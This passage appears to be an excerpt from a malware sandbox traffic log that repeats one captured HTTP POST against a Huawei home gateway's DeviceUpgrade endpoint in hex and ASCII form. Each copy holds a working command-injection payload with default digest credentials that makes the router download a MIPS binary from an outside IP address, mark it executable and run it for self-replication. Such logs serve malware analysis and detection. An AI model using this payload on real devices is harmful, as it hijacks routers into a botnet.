65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox 